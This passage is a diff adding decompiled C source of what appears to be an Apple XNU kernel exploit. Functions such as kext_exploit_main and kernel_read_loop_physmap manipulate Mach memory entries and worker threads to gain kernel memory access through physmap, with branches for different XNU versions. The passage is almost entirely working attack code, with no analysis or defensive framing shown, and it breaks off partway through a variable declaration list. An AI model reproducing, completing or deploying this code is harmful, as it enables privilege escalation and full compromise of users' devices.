+        || (v30 = vm_deallocate(mach_task_self_, v139, v27), (uint32_t)v30) )
+      {
+        v42 = v30;
+        goto LABEL_169;
+      }
+      v134 = 0;
+      v135 = v29;
+      memset(size, 0, 19 * sizeof(natural_t));
+      infoCnt = 19;
+      nesting_depth = 0;
+      memory_entry_64 = vm_region_recurse_64(
+                          mach_task_self_,
+                          &v135,
+                          &v134,
+                          &nesting_depth,
+                          (vm_region_recurse_info_t)size,
+                          &infoCnt);
+      v11 = v112;
+      if ( (uint32_t)memory_entry_64 )
+        goto LABEL_71;
+      v108 = *(uint32_t *)((char *)size + 0x28);
+      if ( v112 )
+      {
+        v32 = (pthread_t *)v145;
+        v33 = v113;
+        while ( 1 )
+        {
+          v34 = (void *(__cdecl *)(void *))nullsub_1(acquire_physmap_page_atomic);
+          if ( pthread_create(v32, 0, v34, (void *)a2) )
+            break;
+          ++v32;
+          if ( !--v33 )
+            goto LABEL_36;
+        }
+LABEL_70:
+        v42 = 5;
+        goto LABEL_72;
+      }
+LABEL_36:
+      while ( 1 )
+      {
+        v35 = atomic_load((unsigned int *)(a2 + 13888));
+        if ( v35 == v112 )
+          break;
+        TRACE_PHYSMAP("kernel_read_loop_physmap wait workers count=%u expected=%u flag=%u\n",
+                      v35,
+                      v112,
+                      atomic_load((unsigned __int8 *)(a2 + 13884)));
+        semaphore_timedwait_ns(v7, 0x3E8u);
+      }
+      TRACE_PHYSMAP("kernel_read_loop_physmap workers ready count=%u expected=%u\n", v35, v112);
+      v131 = v19;
+      memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &v131, 0, 1, &name, v26);
+      if ( (uint32_t)memory_entry_64 )
+        goto LABEL_71;
+      if ( v131 != v19 )
+        goto LABEL_70;
+      v121 = v7;
+      atomic_store(1u, (unsigned __int8 *)(a2 + 13884));
+      if ( v112 )
+      {
+        v36 = (pthread_t *)v145;
+        v37 = v113;
+        while ( 1 )
+        {
+          memory_entry_64 = pthread_join(*v36, 0);
+          if ( (uint32_t)memory_entry_64 )
+            break;
+          *v36++ = 0;
+          if ( !--v37 )
+            goto LABEL_44;
+        }
+LABEL_71:
+        v42 = memory_entry_64;
+LABEL_72:
+        v120 = v19;
+        goto LABEL_170;
+      }
+LABEL_44:
+      v38 = v141;
+      v129 = 0;
+      v130 = v141;
+      v128 = 0;
+      memset(info, 0, 19 * sizeof(natural_t));
+      v123 = 19;
+      v39 = vm_region_recurse_64(mach_task_self_, &v130, &v129, &v128, info, &v123);
+      if ( (uint32_t)v39 )
+        goto LABEL_167;
+      v40 = (unsigned int)(v108 + 1);
+      v41 = *(uint32_t *)((char *)info + 0x28);
+      v42 = 5;
+      if ( v41 < (unsigned int)v40 - v112 || v41 > (unsigned int)v40 )
+        goto LABEL_168;
+      if ( v41 < (unsigned int)v40 )
+      {
+        v122 = 0;
+        v42 = 5;
+        v48 = v40 - v41;
+        if ( v40 != v41 && v48 <= v113 )
+        {
+          v49 = v113 - v48;
+          v118 = v49 + 1;
+          if ( v49 == -1 )
+          {
+LABEL_83:
+            if ( v118 < v113 )
+            {
+              v52 = ~v41 + v40;
+              v53 = &object_handle[v113 + v41 - v40 + 1];
+              do
+              {
+                v54 = *v53;
+                v55 = *(unsigned int *)(a2 + 13856);
+                *(uint32_t *)(a2 + 13856) = v55 + 1;
+                *(uint32_t *)(a2 + 4 * v55 + 13600) = v54;
+                *v53++ = 0;
+                --v52;
+              }
+              while ( v52 );
+            }
+            v56 = *(uint64_t *)((char *)info + 0x44);
+            if ( xnuVer <= 8791 )
+            {
+              v69 = 0;
+              v70 = 0;
+              v71 = *(uint64_t *)((char *)info + 0x44);
+              while ( 1 )
+              {
+                v39 = vm_allocate(mach_task_self_, (vm_address_t *)&v144[v69], vm_page_size, 3);
+                if ( (uint32_t)v39 )
+                  break;
+                v72 = query_vm_region_prot_info(*(uint64_t *)&v144[v69]);
+                if ( !v72 )
+                  goto LABEL_146;
+                v73 = *(unsigned int *)(v121 + 384);
+                if ( v72 >= v71 )
+                  v74 = v71;
+                else
+                  v74 = v72;
+                if ( v72 <= v71 )
+                  v75 = v71;
+                else
+                  v75 = v72;
+                if ( v75 - v74 >= v73 )
+                  goto LABEL_135;
+                if ( v72 >= v56 )
+                  v76 = v56;
+                else
+                  v76 = v72;
+                if ( v72 > v56 )
+                  v56 = v72;
+                if ( v56 - v76 >= v73 )
+                {
+LABEL_135:
+                  if ( !v70 && v69 )
+                    goto LABEL_158;
+                  ++v70;
+                  v71 = v72;
+                  v56 = v72;
+                }
+                else
+                {
+                  v71 = v74;
+                }
+                if ( v70 >= 2 )
+                {
+                  v77 = *(uint64_t *)((char *)info + 0x44);
+                  if ( v72 >= *(uint64_t *)((char *)info + 0x44) )
+                    v78 = *(uint64_t *)((char *)info + 0x44);
+                  else
+                    v78 = v72;
+                  if ( v72 > *(uint64_t *)((char *)info + 0x44) )
+                    v77 = v72;
+                  if ( v77 - v78 >= v73 )
+                  {
+LABEL_158:
+                    v42 = mach_port_deallocate(mach_task_self_, name);
+                    if ( (uint32_t)v42 )
+                      goto LABEL_168;
+                    v85 = 0;
+                    name = 0;
+                    while ( 1 )
+                    {
+                      v39 = vm_allocate(mach_task_self_, &v143[v85], v19, 3);
+                      if ( (uint32_t)v39 )
+                        goto LABEL_167;
+                      if ( ++v85 == 16 )
+                      {
+                        v86 = 0;
+                        while ( 1 )
+                        {
+                          v87 = query_vm_region_prot_info(v143[v86]);
+                          if ( !v87 )
+                            goto LABEL_146;
+                          if ( v87 == *(uint64_t *)((char *)info + 0x44) )
+                          {
+                            v100 = (uint64_t *)v143[v86];
+                            v143[v86] = 0;
+                            if ( !v100 )
+                            {
+LABEL_219:
+                              *(uint64_t *)a4 = v38;
+                              *(uint64_t *)(a4 + 8) = 0;
+                              *(uint64_t *)(a4 + 16) = v19;
+                              *(uint64_t *)(a4 + 32) = 0;
+                              v42 = 5;
+                              v141 = 0;
+                              goto LABEL_168;
+                            }
+                            v101 = v114;
+                            if ( v110 )
+                            {
+                              v102 = vm_page_size;
+                              v103 = v100;
+                              do
+                              {
+                                *v103 = *(uint64_t *)(a2 + 13592);
+                                v103 = (uint64_t *)((char *)v103 + v102);
+                                --v101;
+                              }
+                              while ( v101 );
+                            }
+                            *(uint64_t *)a4 = v100;
+                            *(uint64_t *)(a4 + 8) = v109;
+                            *(uint64_t *)(a4 + 16) = v19;
+                            *(uint32_t *)(a4 + 32) = v110;
+                            v42 = vm_deallocate(mach_task_self_, v38, v19);
+                            if ( !(uint32_t)v42 )
+                            {
+                              v141 = 0;
+                              if ( !(unsigned int)iokit_slot_alloc_with_mem_entry(a2, v19, *(uint64_t *)((char *)info + 0x44), &v122) )
+                                *(uint32_t *)(a4 + 36) = v122;
+                              for ( i = 0; i != 16; ++i )
+                              {
+                                v105 = v143[i];
+                                if ( v105 )
+                                {
+                                  *(uint64_t *)(a4 + 48 + i * 8) = v105;
+                                  v143[i] = 0;
+                                }
+                              }
+                              for ( j = 0; j != 512; j += 8 )
+                              {
+                                v107 = *(uint64_t *)&v144[j];
+                                if ( v107 )
+                                {
+                                  *(uint64_t *)(a4 + 176 + j) = v107;
+                                  *(uint64_t *)&v144[j] = 0;
+                                }
+                              }
+                              return 0;
+                            }
+                            goto LABEL_168;
+                          }
+                          if ( ++v86 == 16 )
+                            goto LABEL_219;
+                        }
+                      }
+                    }
+                  }
+                }
+                v69 += 8;
+                if ( v69 == 512 )
+                {
+LABEL_145:
+                  *(uint64_t *)a4 = v38;
+                  *(uint64_t *)(a4 + 8) = 0;
+                  *(uint64_t *)(a4 + 16) = v19;
+                  v79 = name;
+                  *(uint32_t *)(a4 + 32) = 0;
+                  *(uint32_t *)(a4 + 36) = v79;
+                  v141 = 0;
+                  name = 0;
+LABEL_146:
+                  v42 = 5;
+                  goto LABEL_168;
+                }
+              }
+            }
+            else
+            {
+              v57 = 0;
+              v58 = 0;
+              v59 = *(uint64_t *)((char *)info + 0x44);
+              while ( 1 )
+              {
+                v39 = vm_allocate(mach_task_self_, (vm_address_t *)&v144[v57], vm_page_size, 3);
+                if ( (uint32_t)v39 )
+                  break;
+                v60 = query_vm_region_prot_info(*(uint64_t *)&v144[v57]);
+                if ( !v60 )
+                  goto LABEL_146;
+                v61 = *(unsigned int *)(v121 + 384);
+                if ( v60 >= v59 )
+                  v62 = v59;
+                else
+                  v62 = v60;
+                if ( v60 <= v59 )
+                  v63 = v59;
+                else
+                  v63 = v60;
+                if ( v63 - v62 >= v61 )
+                  goto LABEL_105;
+                if ( v60 >= v56 )
+                  v64 = v56;
+                else
+                  v64 = v60;
+                if ( v60 > v56 )
+                  v56 = v60;
+                if ( v56 - v64 >= v61 )
+                {
+LABEL_105:
+                  if ( !v58 && v57 )
+                    goto LABEL_147;
+                  ++v58;
+                  v59 = v60;
+                  v56 = v60;
+                }
+                else
+                {
+                  v59 = v62;
+                }
+                if ( v58 >= 2 )
+                {
+                  v65 = *(uint64_t *)((char *)info + 0x44);
+                  if ( v60 >= *(uint64_t *)((char *)info + 0x44) )
+                    v66 = *(uint64_t *)((char *)info + 0x44);
+                  else
+                    v66 = v60;
+                  if ( v60 > *(uint64_t *)((char *)info + 0x44) )
+                    v65 = v60;
+                  if ( v65 - v66 >= v61 )
+                  {
+LABEL_147:
+                    v80 = v114;
+                    if ( v110 )
+                    {
+                      v81 = vm_page_size;
+                      v82 = (uint64_t *)v38;
+                      do
+                      {
+                        *v82 = *(uint64_t *)(a2 + 13592);
+                        v82 = (uint64_t *)((char *)v82 + v81);
+                        --v80;
+                      }
+                      while ( v80 );
+                    }
+                    *(uint64_t *)a4 = v38;
+                    *(uint64_t *)(a4 + 8) = v109;
+                    *(uint32_t *)(a4 + 32) = v110;
+                    *(uint64_t *)(a4 + 16) = v19;
+                    v42 = mach_port_deallocate(mach_task_self_, name);
+                    if ( !(uint32_t)v42 )
+                    {
+                      name = 0;
+                      if ( !(unsigned int)iokit_slot_alloc_with_mem_entry(a2, v19, *(uint64_t *)((char *)info + 0x44), &v122) )
+                        *(uint32_t *)(a4 + 36) = v122;
+                      for ( k = 0; k != 512; k += 8 )
+                      {
+                        v84 = *(uint64_t *)&v144[k];
+                        if ( v84 )
+                        {
+                          *(uint64_t *)(a4 + 176 + k) = v84;
+                          *(uint64_t *)&v144[k] = 0;
+                        }
+                      }
+                      return 0;
+                    }
+                    goto LABEL_168;
+                  }
+                }
+                v57 += 8;
+                if ( v57 == 512 )
+                  goto LABEL_145;
+              }
+            }
+          }
+          else
+          {
+            v50 = v113 + v41 - v40 + 1;
+            v51 = object_handle;
+            while ( 1 )
+            {
+              v39 = mach_port_deallocate(mach_task_self_, *v51);
+              if ( (uint32_t)v39 )
+                break;
+              *v51++ = 0;
+              if ( !--v50 )
+                goto LABEL_83;
+            }
+          }
+LABEL_167:
+          v42 = v39;
+        }
+LABEL_168:
+        v120 = v19;
+        goto LABEL_169;
+      }
+      v39 = vm_deallocate(mach_task_self_, v38, v19);
+      v11 = v112;
+      if ( (uint32_t)v39 )
+        goto LABEL_167;
+      v141 = 0;
+      v39 = mach_port_deallocate(mach_task_self_, name);
+      if ( (uint32_t)v39 )
+        goto LABEL_167;
+      name = 0;
+      v7 = v121;
+      if ( v112 )
+      {
+        v43 = object_handle;
+        v44 = v113;
+        do
+        {
+          v39 = mach_port_deallocate(mach_task_self_, *v43);
+          if ( (uint32_t)v39 )
+            goto LABEL_167;
+          *v43++ = 0;
+        }
+        while ( --v44 );
+      }
+      v20 = (unsigned __int8 *)(a2 + 13884);
+      v18 = v111 + 1;
+      v42 = 5;
+      v17 = v19;
+      v22 = v113;
+      v21 = (unsigned int *)(a2 + 13888);
+      if ( v111 + 1 == v116 )
+        return v42;
+    }
+    v23 = v7;
+    v24 = object_handle;
+    while ( 1 )
+    {
+      size[0] = v19;
+      v25 = mach_make_memory_entry_64(mach_task_self_, size, *(uint64_t *)(a2 + 13864), 1, v24, 0);
+      if ( (uint32_t)v25 )
+      {
+        v42 = v25;
+        goto LABEL_69;
+      }
+      if ( size[0] != v19 )
+        break;
+      ++v24;
+      if ( !--v22 )
+      {
+        v112 = v11;
+        v26 = object_handle[0];
+        v7 = v23;
+        goto LABEL_25;
+      }
+    }
+    v42 = 5;
+LABEL_69:
+    v120 = v17;
+  }
+  else
+  {
+    v19 = 0;
+    v120 = 0;
+    v42 = 5;
+  }
+LABEL_170:
+  v88 = (unsigned __int8 *)(a2 + 13884);
+  v89 = v11;
+  do
+  {
+LABEL_171:
+    atomic_store(1u, v88);
+    if ( v11 )
+    {
+      v90 = (pthread_t *)v145;
+      v91 = v11;
+      do
+      {
+        if ( *v90 )
+        {
+          pthread_join(*v90, 0);
+          *v90 = 0;
+        }
+        ++v90;
+        --v91;
+      }
+      while ( v91 );
+    }
+    v92 = 0;
+    v93 = 1;
+    do
+    {
+      v94 = v143[v92];
+      if ( v94 )
+      {
+        v42 = vm_deallocate(mach_task_self_, v94, v19);
+        if ( (uint32_t)v42 )
+          break;
+        v143[v92] = 0;
+      }
+      v93 = v92++ < 0xF;
+    }
+    while ( v92 != 16 );
+  }
+  while ( v93 );
+  for ( m = 0; m != 512; m += 8 )
+  {
+    v96 = *(uint64_t *)&v144[m];
+    if ( v96 )
+    {
+      v42 = vm_deallocate(mach_task_self_, v96, vm_page_size);
+      if ( (uint32_t)v42 )
+        goto LABEL_171;
+      *(uint64_t *)&v144[m] = 0;
+    }
+  }
+  if ( v141 )
+    v97 = v120 == 0;
+  else
+    v97 = 1;
+  if ( !v97 )
+    vm_deallocate(mach_task_self_, v141, v120);
+  if ( address && v19 )
+    vm_deallocate(mach_task_self_, address, v19);
+  if ( name + 1 >= 2 )
+    mach_port_deallocate(mach_task_self_, name);
+  if ( v11 )
+  {
+    v98 = object_handle;
+    do
+    {
+      if ( *v98 + 1 >= 2 )
+        mach_port_deallocate(mach_task_self_, *v98);
+      ++v98;
+      --v89;
+    }
+    while ( v89 );
+  }
+  TRACE_PHYSMAP("kernel_read_loop_physmap exit err=%lld state=%llx v141=%llx address=%llx name=%x workers=%u\n",
+                (long long)v42,
+                (unsigned long long)a2,
+                (unsigned long long)v141,
+                (unsigned long long)address,
+                name,
+                v11);
+  return v42;
+}
+// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
+
+//----- (000000000000CB98) ----------------------------------------------------
+// local variable allocation has failed, the output may be wrong!
+__int64 __fastcall kext_exploit_main(uint64_t x0, uint32_t w1, uint64_t x2)
+{
+  __int64 v3; // x0
+  uint32_t *v4; // x2
+  uint32_t *v5; // x20
+  int v6; // w1
+  int v7; // w21
+  uint64_t v8; // x19
+  int v9; // w0
+  int v10; // w8
+  __int64 v11; // x19
+  int v12; // w0
+  void *(__cdecl *threadEntry)(void *); // x0
+  int v14; // w8
+  mach_port_t v15; // w20
+  __int64 i; // x22
+  mach_port_name_t v17; // w1
+  __int64 j; // x21
+  mach_port_name_t v19; // w1
+  uint32_t *v20; // x0
+  unsigned int v21; // w8
+  unsigned __int64 v22; // x21
+  mach_port_name_t v23; // w1
+  struct
+  {
+    uint32_t v25[2824]; // [xsp+8h] [xbp-66E8h] BYREF
+    vm_address_t address; // [xsp+2C28h] [xbp-3AC8h]
+    vm_size_t size; // [xsp+2C30h] [xbp-3AC0h]
+    vm_address_t v28; // [xsp+2C38h] [xbp-3AB8h]
+    vm_size_t v29; // [xsp+2C40h] [xbp-3AB0h]
+    uint8_t v30[2096]; // [xsp+2C48h] [xbp-3AA8h]
+    mach_port_name_t name; // [xsp+3478h] [xbp-3278h]
+    void *v32; // [xsp+3480h] [xbp-3270h]
+    unsigned int v33; // [xsp+3488h] [xbp-3268h]
+    vm_address_t v34; // [xsp+3490h] [xbp-3260h]
+    vm_size_t v35; // [xsp+3498h] [xbp-3258h]
+    vm_address_t v36; // [xsp+34A0h] [xbp-3250h]
+    vm_size_t v37; // [xsp+34A8h] [xbp-3248h]
+    uint8_t v38[72]; // [xsp+34B0h] [xbp-3240h]
+    mach_port_name_t v39; // [xsp+34F8h] [xbp-31F8h]
+    uint8_t padding[0x315C];
+  } locals;
+  uint64_t args[3]; // [xsp+6658h] [xbp-98h] BYREF
+  pthread_t thread; // [xsp+6670h] [xbp-80h] BYREF
+  pthread_attr_t attr; // [xsp+6678h] [xbp-78h] BYREF
+#define v25 locals.v25
+#define address locals.address
+#define size locals.size
+#define v28 locals.v28
+#define v29 locals.v29
+#define v30 locals.v30
+#define name locals.name
+#define v32 locals.v32
+#define v33 locals.v33
+#define v34 locals.v34
+#define v35 locals.v35
+#define v36 locals.v36
+#define v37 locals.v37
+#define v38 locals.v38
+#define v39 locals.v39
+
+  v5 = (uint32_t *)x2;
+  v7 = w1;
+  v8 = x0;
+  _Static_assert(sizeof(locals) == 0x6650, "kext_exploit_main local frame size mismatch");
+  bzero(&locals, sizeof(locals));
+  v25[0] = v7;
+  v9 = pthread_attr_init(&attr);
+  if ( v9 )
+  {
+    if ( v9 >= 0 )
+      v10 = v9;
+    else
+      v10 = -v9;
+    v11 = v10 | 0x40000000u;
+  }
+  else
+  {
+    v12 = pthread_attr_setdetachstate(&attr, 1);
+    if ( v12
+      || (args[2] = v8,
+          thread = 0,
+          args[0] = 0x1001,
+          args[1] = (uint64_t)v25,
+          threadEntry = (void *(__cdecl *)(void *))nullsub_1(kext_image_scan_init),
+          (v12 = pthread_create(&thread, &attr, threadEntry, args)) != 0)
+      || (v12 = pthread_join(thread, 0)) != 0 )
+    {
+      if ( v12 >= 0 )
+        v14 = v12;
+      else
+        v14 = -v12;
+      v11 = v14 | 0x40000000u;
+      pthread_attr_destroy(&attr);
+    }
+    else
+    {
+      v11 = LODWORD(args[0]);
+      pthread_attr_destroy(&attr);
+      if ( !(uint32_t)v11 )
+        *v5 = 0;
+    }
+  }
+  v15 = mach_task_self_;
+  if ( address && size )
+  {
+    vm_deallocate(mach_task_self_, address, size);
+    address = 0;
+    size = 0;
+  }
+  if ( v28 && v29 )
+  {
+    vm_deallocate(mach_task_self_, v28, v29);
+    v28 = 0;
+    v29 = 0;
+  }
+  for ( i = 0; i != 1024; i += 4 )
+  {
+    v17 = *(uint32_t *)&v30[i];
+    if ( v17 + 1 >= 2 )
+      mach_port_mod_refs(mach_task_self_, v17, 1u, -1);
+    *(uint32_t *)&v30[i] = 0;
+  }
+  for ( j = 0; j != 64; j += 4 )
+  {
+    v19 = *(uint32_t *)&v38[j];
+    if ( v19 + 1 >= 2 )
+    {
+      mach_port_mod_refs(v15, v19, 1u, -1);
+      *(uint32_t *)&v38[j] = 0;
+    }
+  }
+  if ( v36 && v37 )
+  {
+    vm_deallocate(v15, v36, v37);
+    v36 = 0;
+    v37 = 0;
+  }
+  if ( v34 && v35 )
+  {
+    vm_deallocate(v15, v34, v35);
+    v34 = 0;
+    v35 = 0;
+  }
+  if ( name + 1 >= 2 )
+  {
+    mach_port_deallocate(v15, name);
+    name = 0;
+  }
+  if ( v39 + 1 >= 2 )
+  {
+    mach_port_deallocate(v15, v39);
+    v39 = 0;
+  }
+  v20 = v32;
+  if ( v32 )
+  {
+    v21 = v33;
+    if ( v33 )
+    {
+      v22 = 0;
+      do
+      {
+        v23 = v20[v22];
+        if ( v23 + 1 >= 2 )
+        {
+          mach_port_deallocate(v15, v23);
+          v20 = v32;
+          *((uint32_t *)v32 + v22) = 0;
+          v21 = v33;
+        }
+        ++v22;
+      }
+      while ( v22 < v21 );
+    }
+    free(v20);
+  }
+#undef v25
+#undef address
+#undef size
+#undef v28
+#undef v29
+#undef v30
+#undef name
+#undef v32
+#undef v33
+#undef v34
+#undef v35
+#undef v36
+#undef v37
+#undef v38
+#undef v39
+  return v11;
+}
+// CB98: variables would overlap: w1.4 and x1.8
+// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
+// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t);
+
+//----- (000000000000CE78) ----------------------------------------------------
+__int64 __fastcall kext_exploit_main_trampoline(uint64_t x0, uint64_t x1_idk, uint32_t w2, uint64_t x3)
+{
+  return kext_exploit_main(x0, 3u, x3);
+}
+
+//----- (000000000000CE84) ----------------------------------------------------
+__int64 __fastcall kext_image_scan_init(uint64_t *a1)
+{
+  *(uint32_t *)a1 = kext_image_scan_trampoline_0(a1[2], a1[1]);
+  return 0;
+}
+
+//----- (000000000000CEB8) ----------------------------------------------------
+__int64 __fastcall kext_image_scan_trampoline_0(struct_krwCtx *x0, uint64_t x1)
+{
+  __int64 v2; // x0
+  __int64 v3; // x1
+  __int64 v4; // x20
+  __int64 v5; // x19
+  __int64 v6; // x27
+  unsigned __int64 v7; // x0
+  kern_return_t memory_entry; // w0
+  vm_size_t v9; // x21
+  __int64 v10; // x22
+  __int64 i; // x21
+  mach_port_name_t v13; // w0
+  void *v14; // x0
+  size_t v15; // x21
+  void *v16; // x0
+  int v17; // w8
+  unsigned __int64 v18; // x21
+  int v19; // w2
+  __int64 j; // x21
+  mach_msg_bits_t msgh_bits; // w1
+  unsigned __int64 v22; // x8
+  __int64 v23; // x0
+  __int64 v24; // x23
+  pid_t v25; // w0
+  __int64 addr_v24; // x24
+  __int64 v27; // x8
+  __int64 v28; // x8
+  __int64 v29; // x9
+  __int64 v30; // x21
+  int v31; // w0
+  __int64 v32; // x0
+  void *v33; // x24
+  __int64 v34; // x8
+  uint64_t *v35; // x21
+  __int64 v36; // x8
+  unsigned int v37; // w9
+  uint32_t *v38; // x10
+  __int64 v39; // x11
+  mach_port_t v40; // w9
+  vm_prot_t v41; // w3
+  unsigned int v42; // w8
+  __int64 v43; // x24
+  int8x8_t *v44; // x13
+  int8x8_t *v45; // x14
+  int8x8_t v46; // x9
+  __int64 v47; // x15
+  uint64_t *v48; // x25
+  __int64 v49; // x8
+  unsigned int v50; // w23
+  uintptr_t v51; // x22
+  char *v52; // x21
+  unsigned int v53; // w8
+  bool v54; // zf
+  __int64 v55; // x22
+  uint8x8_t v56; // d0
+  __int64 v57; // x23
+  kern_return_t v58; // w0
+  int v59; // w22
+  __int64 k; // x21
+  vm_address_t v61; // x1
+  unsigned __int64 v62; // x24
+  int8x8_t *v63; // x21
+  int8x8_t *v64; // x21
+  int8x8_t v65; // t1
+  int8x8_t *v66; // x9
+  unsigned int v67; // w8
+  uint8x8_t v68; // d0
+  int v69; // w8
+  int v70; // w0
+  __int64 v71; // x0
+  unsigned int v72; // w25
+  char v73; // w22
+  __int64 v74; // x8
+  __int64 v75; // x8
+  unsigned int v76; // w8
+  mach_port_t v77; // w8
+  mach_msg_return_t v78; // w0
+  __int64 v79; // x9
+  __int64 v80; // x11
+  vm_size_t v81; // x12
+  vm_size_t v82; // x13
+  int8x8_t v83; // x10
+  __int64 v84; // x14
+  uint64_t *v85; // x15
+  unsigned int v86; // w16
+  unsigned int m; // w17
+  __int64 *v88; // x0
+  __int64 v89; // x1
+  vm_size_t v90; // x2
+  char *v91; // x3
+  uint8x8_t v92; // d0
+  unsigned int v93; // w0
+  __int64 v94; // x0
+  __int64 v95; // x8
+  mach_port_name_t v96; // w4
+  mach_msg_return_t v97; // w0
+  unsigned int v98; // w25
+  vm_address_t v99; // x22
+  vm_size_t msgh_voucher_port; // x21
+  vm_address_t v101; // x8
+  char v102; // w8
+  unsigned int v103; // w8
+  unsigned __int64 v104; // x21
+  __int64 v105; // x9
+  mach_port_name_t v106; // w1
+  __int64 v107; // x21
+  mach_port_name_t v108; // w1
+  __int64 v109; // x0
+  mach_port_t v110; // w0
+  unsigned __int64 ipc_port; // x0
+  __int64 v112; // x8
+  __int64 v113; // x25
+  __int64 v114; // x21
+  __int64 v115; // x0
+  __int64 v116; // x1
+  __int64 v117; // x8
+  int v118; // w0
+  unsigned __int64 v120; // x8
+  uint64_t *v121; // x8
+  unsigned __int64 v122; // x1
+  unsigned int v123; // w8
+  __int64 v124; // x21
+  __int64 v125; // x24
+  mach_port_name_t v126; // w22
+  unsigned __int64 v127; // x0
+  __int64 v128; // x0
+  unsigned __int64 v129; // x23
+  __int64 v130; // x23
+  __int64 v131; // x24
+  __int64 v132; // x8
+  unsigned int v133; // w1
+  __int64 v134; // x0
+  unsigned __int64 v135; // x22
+  unsigned __int64 v136; // x0
+  __int64 v137; // x0
+  unsigned __int64 v138; // x22
+  kern_return_t v139; // w0
+  __int64 ii; // x21
+  vm_address_t v141; // x1
+  __int64 jj; // x21
+  vm_address_t v143; // x1
+  __int64 v144; // x8
+  char v145; // w9
+  char v146; // w21
+  __int64 v147; // x25
+  vm_address_t v148; // x1
+  kern_return_t v149; // w0
+  int has_flag; // w22
+  __int64 v151; // x8
+  char *v152; // x1
+  __int64 v153; // x22
+  unsigned __int64 v154; // x0
+  unsigned __int64 v155; // x0
+  unsigned __int64 v156; // x21
+  __int64 v157; // x25
+  __int64 v158; // x8
+  int v159; // w22
+  __int64 v160; // x8
+  unsigned __int64 v161; // x0
+  __int64 v162; // x25
+  __int64 v163; // x8
+  __int64 v164; // x9
+  int v165; // w0
+  unsigned __int64 v166; // x0
+  __int64 v167; // x8
+  unsigned __int64 v168; // x0
+  __int64 v169; // x8
+  __int64 v170; // x8
+  unsigned __int64 v171; // x9
+  unsigned __int64 v172; // x8
+  __int64 v173; // x0
+  vm_size_t v174; // x23
+  unsigned __int64 v175; // x0
+  __int64 v176; // x24
+  unsigned __int64 v177; // x0
+  unsigned __int64 v178; // x21
+  unsigned __int64 v179; // x0
+  unsigned __int64 v180; // x25
+  __int64 v181; // x25
+  vm_address_t v182; // x1
+  __int64 v183; // x8
+  __int64 v184; // x8
+  __int64 v185; // x8
+  io_service_t v186; // w0
+  io_service_t v187; // w24
+  mach_port_t v188; // w21
+  __int64 n; // x25
+  io_connect_t v190; // w0
+  int v192; // w8
+  const void **v193; // x0
+  const void *v194; // x22
+  const void **v195; // x0
+  const void *v196; // x23
+  const void **v197; // x0
+  const void *v198; // x24
+  const struct __CFData *v199; // x0
+  const struct __CFData *v200; // x24
+  int v201; // w8
+  uint32_t v202; // w25
+  mem_entry_name_port_t *v203; // x23
+  const UInt8 *BytePtr; // x22
+  size_t Length; // x0
+  mach_msg_bits_t v206; // w9
+  __int64 v207; // x10
+  unsigned __int64 v208; // x23
+  int v209; // w0
+  __int64 v210; // x24
+  int v211; // w0
+  unsigned __int64 v212; // x25
+  vm_address_t v213; // x24
+  vm_address_t v214; // x8
+  __int64 v215; // x21
+  unsigned __int64 v216; // x0
+  unsigned int v217; // w8
+  unsigned __int64 v218; // x21
+  __int64 v219; // x23
+  mach_port_name_t v220; // w1
+  unsigned int v221; // w8
+  unsigned __int64 v222; // x21
+  __int64 v223; // x23
+  vm_address_t v224; // x1
+  unsigned __int64 v225; // x8
+  bool v226; // cc
+  int pipe; // w20
+  unsigned int v228; // w0
+  unsigned int v229; // w24
+  unsigned int v230; // w0
+  int v231; // w22
+  int v232; // w23
+  int v233; // w0
+  int v234; // w0
+  unsigned int v235; // w0
+  unsigned __int64 v236; // x0
+  __int64 v237; // x22
+  int v238; // w1
+  integer_t v239; // w10
+  mem_entry_name_port_t v240; // w9
+  mem_entry_name_port_t v241; // w8
+  int v242; // w20
+  int v243; // w8
+  int v244; // w20
+  int v245; // w8
+  size_t v246; // x21
+  mach_msg_bits_t v247; // w1
+  mach_msg_size_t msgh_size; // w9
+  __int64 v249; // x8
+  __int64 v250; // x8
+  unsigned __int64 v251; // x20
+  unsigned __int64 v252; // x24
+  unsigned __int64 v253; // x26
+  int v254; // w25
+  int v255; // w0
+  vm_address_t v256; // x8
+  bool v257; // cf
+  int v258; // w8
+  mach_port_t *v259; // [xsp+30h] [xbp-1120h]
+  unsigned int *v260; // [xsp+40h] [xbp-1110h]
+  __int64 v261; // [xsp+48h] [xbp-1108h]
+  __int64 v262; // [xsp+50h] [xbp-1100h]
+  unsigned __int64 v263; // [xsp+50h] [xbp-1100h]
+  __int64 v264; // [xsp+58h] [xbp-10F8h]
+  __int64 v265; // [xsp+58h] [xbp-10F8h]
+  __int64 v266; // [xsp+60h] [xbp-10F0h]
+  __int64 v267; // [xsp+60h] [xbp-10F0h]
+  __int64 v268; // [xsp+68h] [xbp-10E8h]
+  __int64 v269; // [xsp+68h] [xbp-10E8h]
+  unsigned __int64 v270; // [xsp+68h] [xbp-10E8h]
+  mach_port_name_t v271[2]; // [xsp+70h] [xbp-10E0h]
+  mach_port_name_t v272; // [xsp+70h] [xbp-10E0h]
+  __int64 v273; // [xsp+70h] [xbp-10E0h]
+  void *value; // [xsp+78h] [xbp-10D8h]
+  unsigned __int64 valuea; // [xsp+78h] [xbp-10D8h]
+  int v276; // [xsp+80h] [xbp-10D0h]
+  unsigned __int64 v277; // [xsp+80h] [xbp-10D0h]
+  int v278; // [xsp+80h] [xbp-10D0h]
+  int v279; // [xsp+80h] [xbp-10D0h]
+  vm_size_t v280; // [xsp+88h] [xbp-10C8h]
+  unsigned int *v281; // [xsp+90h] [xbp-10C0h]
+  __int64 v282; // [xsp+90h] [xbp-10C0h]
+  __int64 v283; // [xsp+90h] [xbp-10C0h]
+  unsigned __int64 v284; // [xsp+90h] [xbp-10C0h]
+  __int64 v285; // [xsp+90h] [xbp-10C0h]
+  uintptr_t theDict; // [xsp+98h] [xbp-10B8h]
+  CFMutableDictionaryRef theDicta; // [xsp+98h] [xbp-10B8h]
+  CFMutableDictionaryRef theDictb; // [xsp+98h] [xbp-10B8h]
+  CFMutableDictionaryRef theDictc; // [xsp+98h] [xbp-10B8h]
+  CFMutableDictionaryRef theDictd; // [xsp+98h] [xbp-10B8h]
+  CFMutableDictionaryRef theDicte; // [xsp+98h] [xbp-10B8h]
+  unsigned __int64 kobject; // [xsp+A0h] [xbp-10B0h]
+  unsigned __int64 v293; // [xsp+A0h] [xbp-10B0h]
